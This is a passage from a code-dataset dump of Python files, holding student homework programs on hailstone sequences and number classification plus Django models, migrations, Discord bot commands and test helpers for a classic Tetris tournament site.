count\n\n#isOdd() determines if the given value is odd\n#input: number n\n#output: boolean True or False\ndef isOdd(n):\n return (n%2 != 0)\n\n\ndef drawHistogram(start, longestLength, lengthList):\n \n #create window of standard size\n win = GraphWin(\"Histogram of Chain Lengths\", WINDOW_HEIGHT, WINDOW_WIDTH)\n #reset coordinates to match Cartesian plane\n win.setCoords(0, 0, WINDOW_WIDTH, WINDOW_HEIGHT)\n win.setBackground(\"white\")\n\n #draw x-axis, evenly spaced\n xSpacing = CORNER_BUFFER\n index = 0\n for i in range(start, start + X_NUM_RANGE):\n xAxis = Text(Point(xSpacing, SIDE_BUFFER), str(i))\n xAxis.draw(win)\n\n #draw rectangle for particular number\n # find bar height by using a ratio: percentage of length compared to longest\n # then percentage of length out of drawing area\n recHeight = float(lengthList[index]) / longestLength * DRAW_AREA\n recX = xSpacing - (REC_WIDTH / 2)\n recP1 = Point(recX, recHeight)\n recP2 = Point(recX + REC_WIDTH, CORNER_BUFFER)\n rec = Rectangle(recP1, recP2)\n rec.setFill(\"red\")\n rec.draw(win)\n \n xSpacing += X_SPACING\n index += 1\n \n\n #find numbers to use in y-axis scale: highest, middle, quarters\n scaleHalf = longestLength / 2\n scaleUpperQuarter = (longestLength + scaleHalf) / 2\n scaleLowerQuarter = scaleHalf / 2\n scaleList = [scaleLowerQuarter, scaleHalf, scaleUpperQuarter, longestLength]\n\n #draw y-axis, evenly spaced, depending on longestLength\n ySpacing = CORNER_BUFFER + Y_SPACING\n for i in range(Y_NUM_RANGE):\n yAxis = Text(Point(SIDE_BUFFER, ySpacing), str(scaleList[i]))\n yAxis.draw(win)\n ySpacing += Y_SPACING\n \n sleep(10)\n win.close()\n \n\ndef main():\n #greet user\n printGreeting()\n #initialize number with longest chain to zero\n longestChainNum = 0\n #initialize longest chain to zero in number\n longestChainCount = 0\n #initialize choice to enter while loop\n choice = \"\"\n while(choice!='Q'):\n printMenu()\n #get input from user\n choice = raw_input(\"\\nEnter your choice: \")\n choice = choice.upper()\n\n #evaluate user choice to call correct functions\n if choice == 'I':\n n = input(\"Enter a number (1-10000): \")\n #n should not be one, so return to menu\n if n == 1:\n return\n #call hailstone functions for all other valid inputs\n else:\n while (n < CUT_OFF_LOWER) or (n > CUT_OFF_UPPER):\n n = input(\"\\n*Invalid input!*\\nEnter a number (1-10000): \")\n hailstone(n)\n #get a range from user and call hailstone() the number of times needed\n # to get through all values in range (from start number to end number + 1)\n # initial start and stop are the cut offs (constants, see above)\n elif choice == 'R':\n start = getValidInt(START_QUESTION, CUT_OFF_LOWER, CUT_OFF_UPPER)\n end = getValidInt(END_QUESTION, start, CUT_OFF_UPPER)\n for n in range (start,end+1):\n hailstone(n)\n #perform the same operations as 'R' but keep track of length of chain\n # returned by hailstone()\n elif choice == 'L':\n start = getValidInt(START_QUESTION, CUT_OFF_LOWER, CUT_OFF_UPPER)\n end = getValidInt(END_QUESTION, start, CUT_OFF_UPPER)\n for n in range (start,end+1):\n currentChainCount = hailstone(n)\n #if the current chain is longer, store number and length in\n # longestChainCount and longestChainNum\n if currentChainCount > longestChainCount:\n longestChainCount = currentChainCount\n longestChainNum = n\n #number and count should not be zero! (the initialized value)\n # if it is, tell user there was an error and return to menu\n if longestChainNum == 0 or longestChainCount == 0:\n print \"error\"\n return\n else:\n print \"\\nThe longest chain is %d and is %d numbers long.\" % (longestChainNum, longestChainCount)\n hailstone(longestChainNum)\n elif choice == 'H':\n start = input(\"\\nEnter starting value: \")\n lengthList = []\n\n # restrict the range to 10 values\n for n in range (start, start + X_NUM_RANGE):\n length = hailstone(n)\n lengthList.append(length)\n\n #find longest chain length\n longestLength = max(lengthList)\n\n drawHistogram(start, longestLength, lengthList)\n \n \n elif choice == 'Q':\n print \"Goodbye!\"\n return\n else:\n print \"\\n*\" + choice + \" is not a valid choice. Please choose again.*\"\nmain()\n" }, { "alpha_fraction": 0.623754620552063, "alphanum_fraction": 0.6372338533401489, "avg_line_length": 30.213415145874023, "blob_id": "1b814d6d76fc3fddbb291ae86de2b82e3e2144f7", "content_id": "a7e93b30845f93492e46a802d06132d132b93a63", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5119, "license_type": "no_license", "max_line_length": 95, "num_lines": 164, "path": "/hw5extra.py", "repo_name": "rbirky1/cmsc201-homeworks", "src_encoding": "UTF-8", "text": "# File name: hw5.py\n# Author: Rachael Birky\n# Date: 03.05.2012\n# Section: 02\n# Email: [email protected]\n# Description:This program examines positive integers in a user-given range\n# and categorizes them as odd/even, prime/composite,\n# perfect/abundant/deficient, square, and triangular\n\nimport sys\nHEADER_WIDTH_MULTIPLIER = 7\nCHECK_EVEN = 2\nROOT_MULTIPLIER = 0.5\nMAX_VALUE = 100000\n\n#printGreeting() greets user and explains program purpose\ndef printGreeting():\n print\n print \"Hello! This program classifies positive integers as Odd/Even,\\n\\\nPrime/Composite, Perfect/Abundant/Deficient, Square, and Triangular.\"\n print \"\\nYou will now get to choose the range of positive integers that\\n\\\nyou would like to see classified.\"\n print\n\n#printTableHeader() creates a formatted heading for the chart\ndef printTableHeading():\n print \"%7s Classifications...\" % (\"Int\")\n print \"---------\"*HEADER_WIDTH_MULTIPLIER\n\n#isOdd() determines whether the integer is odd, which returns true\n#input: integer n in user-given range\n#output: True or False\ndef isOdd(n):\n return (n%CHECK_EVEN != 0)\n\n#isPrime() determines whether the integer is prime\n#input: interger n in user-given range\n#output: True or False\ndef isPrime(n):\n isPrime = True\n #is i a factor of n and not 1 or n? then isPrime is False\n for i in range(1, n):\n if (isDivisor(n, i)) and (i != 1) and (i != n):\n isPrime = False\n return isPrime\n\n#checkForPerfect() classifies n as \"perfect\", \"abundant\" or \"deficient\"\n#input: integer n in user-given range\n#output: string \"perfect\", \"abundant\", or \"deficient\"\ndef checkForPerfect(n):\n if (sumDivisors(n) == n):\n return \"Perfect\"\n elif (sumDivisors(n) < n):\n return \"Deficient\"\n else:\n return \"Abundant\"\n\n#sumDivisors() returns the sum of the divisors of n\n#input: integer n given by user\n#output: summation integer\ndef sumDivisors(n):\n total = 0\n for i in range(1, n):\n if (isDivisor(n, i)):\n total = total + i\n return total\n\n#isDivisor() returns True if b is a divisor of a, and False if not\n#input: a and b, both user-defined integers\n#output: True or False\ndef isDivisor(a, b):\n if (a%b == 0):\n return True\n else:\n return False\n\n#isSquare() returns True if n is a perfect square, False if not\ndef isSquare(n):\n nRoot = n**ROOT_MULTIPLIER\n return int(nRoot) == nRoot\n \n\n#isTriangular() returns True if n is a triangular number, False if not\n#input: n, a user-defined integer\n#output: True or False\ndef isTriangular(n):\n total = 0\n isTriangular = False\n #if at any point, consecutive value add to a total of n,\n # isTriangular becomes true\n for i in range(n+1):\n total = total + i\n if (total == n):\n isTriangular = True\n return isTriangular\n\n#printTableLine() prints the info for one number on one line of the table.\n#input: user integer n, results from isOdd(), isPrime(), checkForPerfect(),\n# isSquare(), and isTriangular()\n#output: a formatted line of text \ndef printTableLine(n, odd, prime, perfect, square, triangular):\n print \"%7d %-5s %-10s %-10s %-7s %-7s\" % (n, odd, prime, perfect, square, triangular)\n\ndef main():\n \n printGreeting()\n\n #promt user for beginning integer\n print \"Start with which positive integer?\"\n startNum = input(\"Please enter an integer between 1 and 100000: \")\n #promt user for ending integer\n print \"End with which positive integer?\"\n endNum = input(\"Please enter an integer between %d and 100000: \" % (startNum))\n\n\n #data verification: input are positive integers\n # and end number is greater than beginning number\n while (startNum <= 0) or (endNum <= 0) or (endNum <= startNum) or (endNum > MAX_VALUE):\n print \"\\nInvalid input!\"\n print \"Both values must be positive integers and the ending\"\n print \" number must be greater than the beginning number.\\n\"\n\n #promt user for beginning integer\n print \"Start with which positive integer?\"\n startNum = input(\"Please enter an integer between 1 and 100000: \")\n #promt user for ending integer\n print \"End with which positive integer?\"\n endNum = input(\"Please enter an integer between %d and 100000: \" % (startNum))\n\n\n print\n printTableHeading()\n\n #loop through each value in range\n for n in range(startNum, endNum+1):\n\n #establish default parameter values\n odd = \"Even\"\n prime = \"Composite\"\n square = \"\"\n triangular = \"\"\n\n #edit defaults by calling functions\n if (isOdd(n)):\n odd = \"Odd\"\n \n if (n == 1):\n prime = \"Neither\"\n else:\n if (isPrime(n)):\n prime = \"Prime\"\n \n if (isSquare(n)):\n square = \"Square\"\n \n if (isTriangular(n)):\n triangular = \"Triangular\"\n\n #print current line, passing each parameter to function \n printTableLine(n, odd, prime, checkForPerfect(n), square, triangular)\n \n print\n \nmain()\n" } ]
5
professor-l/classic-tetris-project
https://github.com/professor-l/classic-tetris-project
19e84f7f06a2fbc572fb79f0c411f5e8df5103f5
2918c661ba697b55d088daadb9839f8da17786a0
e30145d000bd6f0362f6c563e1635d3534728de6
refs/heads/master
2023-07-18T18:40:24.611700
2023-07-16T18:03:03
2023-07-16T18:03:03
197,301,488
23
20
MIT
2019-07-17T02:37:54
2023-04-03T20:00:38
2023-09-06T01:33:34
Python
[ { "alpha_fraction": 0.6315789222717285, "alphanum_fraction": 0.6578947305679321, "avg_line_length": 14.199999809265137, "blob_id": "50cdf8bb181a7e86877087a48753a53812f85c84", "content_id": "752cc5ad7e73377735660a4409bcc7b7117cc74b", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 76, "license_type": "permissive", "max_line_length": 21, "num_lines": 5, "path": "/classic_tetris_project/util/constants.py", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "from enum import Enum\n\nclass Platform(Enum):\n DISCORD = 0\n TWITCH = 1\n" }, { "alpha_fraction": 0.7354651093482971, "alphanum_fraction": 0.7354651093482971, "avg_line_length": 37.22222137451172, "blob_id": "ee9d49c15d1b81c26ede84f377ac547a4884917e", "content_id": "7b13d206af68e969fc078db57c86249dc156651d", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 344, "license_type": "permissive", "max_line_length": 79, "num_lines": 9, "path": "/classic_tetris_project/management/commands/report_matches.py", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "from django.core.management.base import BaseCommand\n\nfrom classic_tetris_project.util.match_sheet_reporter import MatchSheetReporter\n\nclass Command(BaseCommand):\n def handle(self, *args, **kwargs):\n reporter = MatchSheetReporter()\n match_count = reporter.sync_all()\n self.stdout.write(f\"Reported {match_count} matches\")\n" }, { "alpha_fraction": 0.3121161460876465, "alphanum_fraction": 0.3433835804462433, "avg_line_length": 28.360654830932617, "blob_id": "b217a8bef44d1936a4b3e4c87ca4c2319e6cb6a6", "content_id": "7bdd29e2ae3b7eef867f6720631489440c1ca486", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1791, "license_type": "permissive", "max_line_length": 57, "num_lines": 61, "path": "/add_tournaments.py", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "from classic_tetris_project.models import *\n\ndef add_tournaments(event):\n for i, tournament_data in enumerate([\n {\n \"name\": \"Masters Event\",\n \"color\": \"#37761D\",\n \"size\": 16,\n \"placeholders\": {\"16\":\"CC Winner\"},\n },\n {\n \"name\": \"Challengers Circuit\",\n \"color\": \"#E69138\",\n \"size\": 16,\n \"placeholders\": {},\n },\n {\n \"name\": \"Futures Circuit\",\n \"color\": \"#741C47\",\n \"size\": 32,\n \"placeholders\": {},\n },\n {\n \"name\": \"Community T1\",\n \"color\": \"#6FA8DC\",\n \"size\": 32,\n \"placeholders\": {},\n },\n {\n \"name\": \"Community T2\",\n \"color\": \"#3E85C6\",\n \"size\": 32,\n \"placeholders\": {},\n },\n {\n \"name\": \"Community T3\",\n \"color\": \"#0C5394\",\n \"size\": 32,\n \"placeholders\": {},\n },\n {\n \"name\": \"Community T4\",\n \"color\": \"#F0C233\",\n \"size\": 32,\n \"placeholders\": {},\n },\n {\n \"name\": \"Community T5\",\n \"color\": \"#FFE599\",\n \"size\": 32,\n \"placeholders\": {},\n },\n ]):\n Tournament.objects.create(\n event=event,\n short_name=tournament_data[\"name\"],\n order=i,\n seed_count=tournament_data[\"size\"],\n placeholders=tournament_data[\"placeholders\"],\n color=tournament_data[\"color\"],\n )\n" }, { "alpha_fraction": 0.5246305465698242, "alphanum_fraction": 0.6009852290153503, "avg_line_length": 21.55555534362793, "blob_id": "bedcb5d2c00d028cdcc21ad5ee68bd35829d74f4", "content_id": "efdf60f920128de6c9f2ed3cb9d9ae619c01cadf", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 406, "license_type": "permissive", "max_line_length": 62, "num_lines": 18, "path": "/classic_tetris_project/migrations/0033_qualifier_review_data.py", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "# Generated by Django 3.1.3 on 2021-01-25 06:23\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('classic_tetris_project', '0032_auto_20201226_2255'),\n ]\n\n operations = [\n migrations.AddField(\n model_name='qualifier',\n name='review_data',\n field=models.JSONField(default=dict),\n ),\n ]\n" }, { "alpha_fraction": 0.5870253443717957, "alphanum_fraction": 0.6202531456947327, "avg_line_length": 27.727272033691406, "blob_id": "10c3d99a11a55bebffc4fd4e0f45aed33c1f18e7", "content_id": "058d45c7319cdb7fc821d1b870d9db51048aa101", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 632, "license_type": "permissive", "max_line_length": 123, "num_lines": 22, "path": "/classic_tetris_project/migrations/0024_auto_20200520_0517.py", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "# Generated by Django 2.2.10 on 2020-05-20 05:17\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('classic_tetris_project', '0023_user_remove_pb_fields'),\n ]\n\n operations = [\n migrations.AddField(\n model_name='discorduser',\n name='discriminator',\n field=models.CharField(max_length=4, null=True),\n ),\n migrations.AddConstraint(\n model_name='discorduser',\n constraint=models.UniqueConstraint(fields=('username', 'discriminator'), name='unique_username_discriminator'),\n ),\n ]\n" }, { "alpha_fraction": 0.5040160417556763, "alphanum_fraction": 0.5056225061416626, "avg_line_length": 39.819671630859375, "blob_id": "c6065f82a3cc199a04b4297fc1c4a67a8c3ff41a", "content_id": "e025631fe57dcb4caeb93cf53d18f3ad1e89ee91", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2490, "license_type": "permissive", "max_line_length": 104, "num_lines": 61, "path": "/classic_tetris_project/facades/qualifier_table.py", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "import itertools\n\n\nclass QualifierTable:\n def __init__(self, event):\n self.event = event\n self.tournaments = list(self.event.tournaments.order_by(\"order\"))\n self.withheld_qualifier_ids = []\n for tournament in self.tournaments:\n if tournament.placeholders:\n for placeholder in tournament.placeholders.values():\n if \"qualifier\" in placeholder:\n self.withheld_qualifier_ids.append(int(placeholder[\"qualifier\"]))\n\n self.qualifiers = list(self.event.qualifiers.public()\n .exclude(id__in=self.withheld_qualifier_ids)\n .order_by(*self.event.qualifying_type_class().ORDER_BY)\n .prefetch_related(\"user__twitch_user\"))\n\n def groups(self):\n groups_data = []\n offset = 0\n qualifier_count = len(self.qualifiers)\n for tournament in self.tournaments + [None]:\n if offset >= qualifier_count:\n break\n group_data, offset = self.group_data(tournament, offset)\n groups_data.append(group_data)\n return groups_data\n\n def group_data(self, tournament, offset):\n if tournament:\n qualifier_rows = []\n for seed in range(1, tournament.seed_count + 1):\n if offset >= len(self.qualifiers):\n break\n qualifier = self.qualifiers[offset]\n\n if str(seed) in tournament.placeholders:\n placeholder = tournament.placeholders[str(seed)]\n qualifier = (self.event.qualifiers.get(id=int(placeholder[\"qualifier\"]))\n if \"qualifier\" in placeholder else None)\n qualifier_rows.append({\n \"seed\": seed,\n \"placeholder\": placeholder[\"name\"],\n \"qualifier\": qualifier\n })\n else:\n qualifier_rows.append({\n \"seed\": seed,\n \"qualifier\": qualifier\n })\n offset += 1\n return {\n \"tournament\": tournament,\n \"qualifier_rows\": qualifier_rows,\n }, offset\n else:\n return {\n \"qualifier_rows\": [{ \"qualifier\": qualifier } for qualifier in self.qualifiers[offset:]]\n }, len(self.qualifiers)\n" }, { "alpha_fraction": 0.6236559152603149, "alphanum_fraction": 0.657706081867218, "avg_line_length": 28.36842155456543, "blob_id": "971797a8d8f10b852e51d06e9b7bd4e3f9236544", "content_id": "fe6f4846725ee4b15d3502e4ac09cc773c5134a3", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 558, "license_type": "permissive", "max_line_length": 163, "num_lines": 19, "path": "/classic_tetris_project/migrations/0034_auto_20210125_0712.py", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "# Generated by Django 3.1.3 on 2021-01-25 07:12\n\nfrom django.db import migrations, models\nimport django.db.models.deletion\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('classic_tetris_project', '0033_qualifier_review_data'),\n ]\n\n operations = [\n migrations.AlterField(\n model_name='qualifier',\n name='reviewed_by',\n field=models.ForeignKey(null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='qualifiers_reviewed', to='classic_tetris_project.user'),\n ),\n ]\n" }, { "alpha_fraction": 0.7948718070983887, "alphanum_fraction": 0.7948718070983887, "avg_line_length": 22.399999618530273, "blob_id": "92a152f4c8ffde913638dba86d1f017baea22de6", "content_id": "8aa35321abba53fcf6b7df66d1a5a8140d676d3c", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 117, "license_type": "permissive", "max_line_length": 44, "num_lines": 5, "path": "/classic_tetris_project/apps.py", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "from django.apps import AppConfig\n\n\nclass ClassicTetrisProjectConfig(AppConfig):\n name = 'classic_tetris_project'\n" }, { "alpha_fraction": 0.5132192969322205, "alphanum_fraction": 0.5171073079109192, "avg_line_length": 30.95030975341797, "blob_id": "9b081f301d847800e3eed2af1ef4de0d6d7f996d", "content_id": "e9d6ecda6efc646bf02be2b16cef00f9d326352e", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5144, "license_type": "permissive", "max_line_length": 85, "num_lines": 161, "path": "/classic_tetris_project/commands/profile.py", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "from discord import Embed\nfrom discord.utils import get\n\nfrom ..discord import *\nfrom .command import Command, CommandException\nfrom ..countries import Country\n\nfrom ..util.json_template import match_template\n\nTEMPLATE = (\"\"\"\n{{\n \"color\": {color},\n \"author\": {{\n \"name\": \"{name}\",\n \"url\": \"{url}\",\n \"icon_url\": \"{player_icon}\"\n }},\n \"fields\": [\n {{\n \"name\": \"Personal Bests\",\n \"value\": \"```NTSC: {ntsc_pb} \\\\nNTSC(19): {ntsc_pb_19}\\\\nPAL: {pal_pb}```\\\\n\"\n }},\n {{\n \"name\": \"Pronouns\",\n \"value\": \"{pronouns}\",\n \"inline\": \"True\"\n }},\n {{\n \"name\": \"Playstyle\",\n \"value\": \"{playstyle}\",\n \"inline\": \"True\"\n }},\n {{\n \"name\": \"Country\",\n \"value\": \"{country}\",\n \"inline\": \"True\"\n }},\n {{\n \"name\": \"Same Piece sets\",\n \"value\": \"{same_pieces}\",\n \"inline\": \"True\"\n }},\n {{\n \"name\": \"Twitch\",\n \"value\": \"{twitch_channel}\"\n }}]\n}}\n\"\"\")\n\nPLAYSTYLE_EMOJI = {\n \"das\": \"lovedas\",\n \"hypertap\": \"lovetap\",\n \"hybrid\": \"lovehyb\",\n \"roll\": \"loveroll\"\n }\n\nTETRIS_X = \"tetrisx\"\nTETRIS_CHECK = \"tetrischeck\"\n\nPLAYER_ICON = \"https://cdn.discordapp.com/avatars/{id}/{avatar}.jpg\"\n\[email protected]_discord(\"profile\",\n usage=\"profile [username] (default username you)\")\nclass ProfileCommand(Command):\n\n def execute(self, *username):\n username = username[0] if len(username) == 1 else self.context.args_string\n if username and not self.any_platform_user_from_username(username):\n raise CommandException(\"Specified user has no profile.\")\n\n platform_user = (self.any_platform_user_from_username(username) if username\n else self.context.platform_user)\n\n if not platform_user:\n raise CommandException(\"Invalid specified user.\")\n\n user = platform_user.user\n guild_id = self.context.guild.id if self.context.guild else None\n try:\n member = platform_user.get_member(guild_id)\n except AttributeError:\n member = None\n\n name = self.context.display_name(platform_user)\n player_icon = self.get_player_icon(member)\n color = self.get_color(member)\n url=user.get_absolute_url(True)\n\n ntsc_pb = self.format_pb(user.get_pb(\"ntsc\")).rjust(13)\n ntsc_pb_19 = self.format_pb(user.get_pb(\"ntsc\", 19)).rjust(9)\n pal_pb = self.format_pb(user.get_pb(\"pal\")).rjust(14)\n\n pronouns = user.get_pronouns_display() or \"Not set\"\n\n playstyle = self.get_playstyle(user)\n country = self.get_country(user)\n same_pieces = self.get_same_pieces(user)\n twitch_channel = self.get_twitch(user)\n\n json_message = match_template(TEMPLATE,\n name=name,\n url=url,\n color=color,\n player_icon=player_icon,\n ntsc_pb=ntsc_pb,\n ntsc_pb_19=ntsc_pb_19,\n pal_pb=pal_pb,\n pronouns=pronouns,\n playstyle=playstyle,\n country=country,\n same_pieces=same_pieces,\n twitch_channel=twitch_channel)\n\n e = Embed.from_dict(json_message)\n self.send_message_full(self.context.channel.id, embed=e)\n\n def format_pb(self, value):\n if value:\n return \"{pb:,}\".format(pb=value)\n else:\n return \"Not set\"\n\n def get_player_icon(self, member):\n\n if member is not None and member.avatar is not None:\n return PLAYER_ICON.format(id=member.id, avatar=member.avatar)\n\n return \"\"\n\n def get_color(self, member):\n if member is not None and member.color is not None:\n return member.color.value\n\n return 0 # black\n\n def get_playstyle(self, user):\n if user.playstyle:\n emote = get_emote(PLAYSTYLE_EMOJI[user.playstyle])\n display = user.get_playstyle_display()\n return (emote + \" \" + display) if emote else display\n else:\n return \"Not set\"\n\n def get_country(self, user):\n if user.country is not None:\n country = Country.get_country(user.country)\n return country.get_flag() + \" \" + country.full_name\n return \"Not set\"\n\n def get_same_pieces(self, user):\n if user.same_piece_sets:\n emote = get_emote(TETRIS_CHECK)\n return (emote + \" Yes\") if emote else \"Yes\"\n else:\n emote = get_emote(TETRIS_X)\n return (emote + \" No\") if emote else \"No\"\n\n def get_twitch(self, user):\n if hasattr(user, \"twitch_user\"):\n return f\"https://www.twitch.tv/{user.twitch_user.username}\"\n return \"Not linked (head to go.ctm.gg)\"\n" }, { "alpha_fraction": 0.5357710719108582, "alphanum_fraction": 0.5945945978164673, "avg_line_length": 26.34782600402832, "blob_id": "93e0e9c855d730c840621d6735a7a767866bf317", "content_id": "a72bc10f6314c3b00ebdac3ea734d9d289b2c3f7", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 629, "license_type": "permissive", "max_line_length": 74, "num_lines": 23, "path": "/classic_tetris_project/migrations/0060_auto_20220123_0527.py", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "# Generated by Django 3.1.3 on 2022-01-23 05:27\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('classic_tetris_project', '0059_auto_20220109_0846'),\n ]\n\n operations = [\n migrations.AddField(\n model_name='tournament',\n name='google_sheets_id',\n field=models.CharField(blank=True, max_length=255, null=True),\n ),\n migrations.AddField(\n model_name='tournament',\n name='google_sheets_range',\n field=models.CharField(blank=True, max_length=255, null=True),\n ),\n ]\n" }, { "alpha_fraction": 0.620608925819397, "alphanum_fraction": 0.6229507923126221, "avg_line_length": 22.72222137451172, "blob_id": "b3c72701cc908c51e16a84c33dbadb5c5dd150b6", "content_id": "0264884f3abe3082b31ed2f7c296b638571ea2b8", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 427, "license_type": "permissive", "max_line_length": 75, "num_lines": 18, "path": "/classic_tetris_project/words.py", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "import csv\nimport random\nfrom pathlib import Path\n\nclass Words:\n WORDS_CSV_PATH = Path(__file__).parent.resolve() / \"data\" / \"words.csv\"\n FULL_LIST = []\n\n @staticmethod\n def populate(path=WORDS_CSV_PATH):\n with open(path, \"r\") as f:\n Words.FULL_LIST = [row[0] for row in csv.reader(f)]\n\n @staticmethod\n def get_word():\n return random.choice(Words.FULL_LIST).upper()\n\nWords.populate()\n" }, { "alpha_fraction": 0.6326972842216492, "alphanum_fraction": 0.6326972842216492, "avg_line_length": 29.746665954589844, "blob_id": "f69cf06f4df6b7f341bae808cae374d0819047c9", "content_id": "f3bec87d8457fc46092b348e3365fb567d7d362f", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4612, "license_type": "permissive", "max_line_length": 96, "num_lines": 150, "path": "/classic_tetris_project/test_helper/__init__.py", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "import itertools\nimport pytest\nimport re\nfrom hamcrest import *\nfrom django.db import transaction, connections\nfrom django.test import override_settings, Client\nfrom django.core.cache import cache\nfrom unittest.mock import patch\n\nfrom classic_tetris_project.commands.command_context import *\nfrom classic_tetris_project.models import *\nfrom classic_tetris_project.util.memo import memoize, lazy\nfrom .factories import *\nfrom .discord import *\nfrom .twitch import *\nfrom .matchers import *\nfrom classic_tetris_project import discord, twitch\n\n\npatch.object(twitch.APIClient, \"_request\", side_effect=Exception(\"twitch API called\")).start()\npatch.object(discord.APIClient, \"_request\", side_effect=Exception(\"discord API called\")).start()\n\n\nclass Spec:\n def setup(self):\n self._setting_override = override_settings(\n TESTING=True,\n DEBUG=True,\n CACHES={\n \"default\": {\n \"BACKEND\": \"django.core.cache.backends.locmem.LocMemCache\",\n }\n },\n CELERY_TASK_EAGER_PROPAGATES=True,\n CELERY_TASK_ALWAYS_EAGER=True,\n CELERY_BROKER_BACKEND=\"memory\",\n )\n self._setting_override.__enter__()\n\n self._patches = self.patches()\n for patch in self._patches:\n patch.start()\n\n def patches(self):\n return [\n patch(\"classic_tetris_project.twitch.client\", MockTwitchClient()),\n ]\n\n def teardown(self):\n cache.clear()\n\n for patch in self._patches:\n patch.stop()\n\n self._setting_override.__exit__(None, None, None)\n\n @lazy\n def current_user(self):\n return UserFactory()\n\n @lazy\n def current_website_user(self):\n return WebsiteUser.fetch_by_user(self.current_user)\n\n @lazy\n def current_auth_user(self):\n return self.current_website_user.auth_user\n\n @lazy\n def client(self):\n return Client()\n\n def sign_in(self):\n self.client.force_login(self.current_auth_user)\n\n def get(self, *args, **kwargs):\n return self.client.get(self.url, *args, **kwargs)\n\n def post(self, *args, **kwargs):\n return self.client.post(self.url, *args, **kwargs)\n\n\nclass CommandSpec(Spec):\n def patches(self):\n return super().patches() + [\n patch.object(DiscordCommandContext, \"log\"),\n patch.object(TwitchCommandContext, \"log\"),\n ]\n\n def send_discord(self, command, discord_api_user=None, flush=True):\n discord_api_user = discord_api_user or self.discord_api_user\n discord_api_user.send(self.discord_channel, command)\n if flush:\n self.discord_channel.poll()\n\n def send_twitch(self, command, twitch_api_user=None, flush=True):\n twitch_api_user = twitch_api_user or self.twitch_api_user\n twitch_api_user.send(self.twitch_channel, command)\n if flush:\n self.twitch_channel.poll()\n\n def assert_discord(self, command, expected_messages):\n self.send_discord(command, flush=False)\n actual_messages = self.discord_channel.poll()\n self._assert_messages(actual_messages, expected_messages)\n\n def assert_twitch(self, command, expected_messages):\n self.send_twitch(command, flush=False)\n actual_messages = self.twitch_channel.poll()\n self._assert_messages(actual_messages, expected_messages)\n\n def _assert_messages(self, actual_messages, expected_messages):\n for actual, expected in itertools.zip_longest(actual_messages, expected_messages,\n fillvalue=\"\"):\n if isinstance(expected, str):\n assert_that(actual, equal_to(expected))\n elif isinstance(expected, re.Pattern):\n assert_that(actual, matches_regexp(expected))\n else:\n raise f\"Can't match message: {expected}\"\n\n @lazy\n def discord_api_user(self):\n return MockDiscordAPIUser.create()\n\n @lazy\n def discord_user(self):\n return self.discord_api_user.create_discord_user()\n\n @lazy\n def discord_channel(self):\n return MockDiscordChannel()\n\n @lazy\n def twitch_api_user(self):\n return self.twitch_client.create_user()\n\n @lazy\n def twitch_user(self):\n return self.twitch_api_user.create_twitch_user()\n\n @lazy\n def twitch_channel(self):\n channel_user = MockTwitchAPIUser.create()\n channel_user.create_twitch_user()\n return MockTwitchChannel(channel_user.username)\n\n @lazy\n def twitch_client(self):\n return twitch.client\n" }, { "alpha_fraction": 0.6562854051589966, "alphanum_fraction": 0.657417893409729, "avg_line_length": 28.433332443237305, "blob_id": "a6560d76691d4378b48d397cf9f21043c81cf98b", "content_id": "db18f7977f918fdf73d742df33db851ad950c0cd", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1766, "license_type": "permissive", "max_line_length": 84, "num_lines": 60, "path": "/classic_tetris_project/test_helper/discord.py", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "import factory\n\nfrom classic_tetris_project.commands.command_context import DiscordCommandContext\nfrom .factories import DiscordUserFactory\n\n\nclass MockDiscordGuild:\n def __init__(self, members):\n self.members = members\n\n\nclass MockDiscordChannel:\n def __init__(self, name=\"mock\"):\n self.sent_messages = []\n self.name = name\n\n async def send(self, message):\n self.sent_messages.append(message)\n\n def poll(self):\n # Convenience method for taking the latest messages sent since the last poll\n messages = self.sent_messages\n self.sent_messages = []\n return messages\n\n\nclass MockDiscordAPIUser:\n def __init__(self, id, name, discriminator, display_name=None):\n self.id = id\n self.name = name\n self.discriminator = discriminator\n 